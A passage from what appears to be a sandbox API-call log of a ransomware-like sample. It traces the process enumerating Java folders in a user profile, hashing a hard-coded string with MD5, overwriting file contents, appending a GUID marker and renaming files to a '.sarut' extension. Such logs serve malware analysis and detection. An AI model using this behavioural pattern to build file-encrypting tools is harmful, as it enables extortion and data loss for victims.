lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0272.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.403] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\") returned="AU\\" [0272.403] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0272.403] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0272.403] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0272.404] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0272.404] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0272.404] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0272.404] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0272.404] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0272.404] PathFindFileNameW (pszPath="") returned="" [0272.404] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0272.405] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.405] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8e062, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.cab", cAlternateFileName="")) returned 1 [0272.405] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab") returned=".cab" [0272.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0272.406] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=581730) returned 1 [0272.406] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0272.408] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8e03c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.408] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0272.441] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x25805, lpOverlapped=0x0) returned 1 [0272.455] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.455] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.455] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.455] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0272.456] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0272.456] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0272.456] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0272.456] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0272.456] GetLastError () returned 0x0 [0272.457] CryptDestroyHash (hHash=0x3091560) returned 1 [0272.457] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0272.458] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8e062, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.458] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0272.458] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0272.458] CloseHandle (hObject=0x5c4) returned 1 [0272.547] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab.sarut")) returned 1 [0272.549] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.msi", cAlternateFileName="")) returned 1 [0272.549] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi") returned=".msi" [0272.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0272.549] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=185344) returned 1 [0272.549] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0272.552] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2d3da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.552] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0272.676] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0272.676] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x25805, lpOverlapped=0x0) returned 1 [0272.693] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.693] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.693] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.693] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0272.694] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0272.694] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0272.694] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0272.694] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0272.694] GetLastError () returned 0x0 [0272.694] CryptDestroyHash (hHash=0x3091560) returned 1 [0272.694] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0272.697] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2d400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.698] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0272.698] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0272.698] CloseHandle (hObject=0x5c4) returned 1 [0272.705] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi.sarut")) returned 1 [0272.707] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.msi", cAlternateFileName="")) returned 0 [0272.707] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0272.707] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0272.707] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0272.707] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0272.707] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.707] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.707] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0272.707] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0272.707] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5418 [0272.707] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0272.707] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082288 [0272.707] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5418 | out: hHeap=0x640000) returned 1 [0272.707] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0272.707] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0272.708] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082288 | out: hHeap=0x640000) returned 1 [0272.708] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0272.708] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0272.708] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0272.708] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0272.708] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0272.708] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2f48 | out: hHeap=0x640000) returned 1 [0272.708] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0272.708] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0272.708] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0272.708] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0272.708] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081960 | out: hHeap=0x640000) returned 1 [0272.708] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0272.708] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0272.708] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0272.708] PathFindFileNameW (pszPath="") returned="" [0272.708] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.708] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0272.709] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.709] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.709] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1ea6db0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfec5c570, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="deployment.properties", cAlternateFileName="DEPLOY~1.PRO")) returned 1 [0272.709] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.709] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xd6) returned 0x300f168 [0272.709] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.709] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties") returned=".properties" [0272.710] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0272.710] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=719) returned 1 [0272.710] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0272.712] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.712] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0272.751] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0272.752] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0272.752] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0272.752] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x2cf, lpOverlapped=0x0) returned 1 [0272.752] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.752] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0272.752] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.752] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.752] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5418) returned 1 [0272.753] CryptCreateHash (in: hProv=0x2fa5418, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0272.753] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0272.753] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0272.753] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0272.753] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0272.753] GetLastError () returned 0x0 [0272.753] CryptDestroyHash (hHash=0x3091560) returned 1 [0272.753] CryptReleaseContext (hProv=0x2fa5418, dwFlags=0x0) returned 1 [0272.753] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0272.753] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x2d0) returned 0x712110 [0272.753] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0272.753] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0272.753] WriteFile (in: hFile=0x5c4, lpBuffer=0x712110*, nNumberOfBytesToWrite=0x2ca, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x712110*, lpNumberOfBytesWritten=0x387fb24*=0x2ca, lpOverlapped=0x0) returned 1 [0272.753] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0272.754] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.754] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0272.754] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0272.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0272.754] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x71eaa8 [0272.754] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0272.754] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0272.754] WriteFile (in: hFile=0x5c4, lpBuffer=0x71eaa8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x71eaa8*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 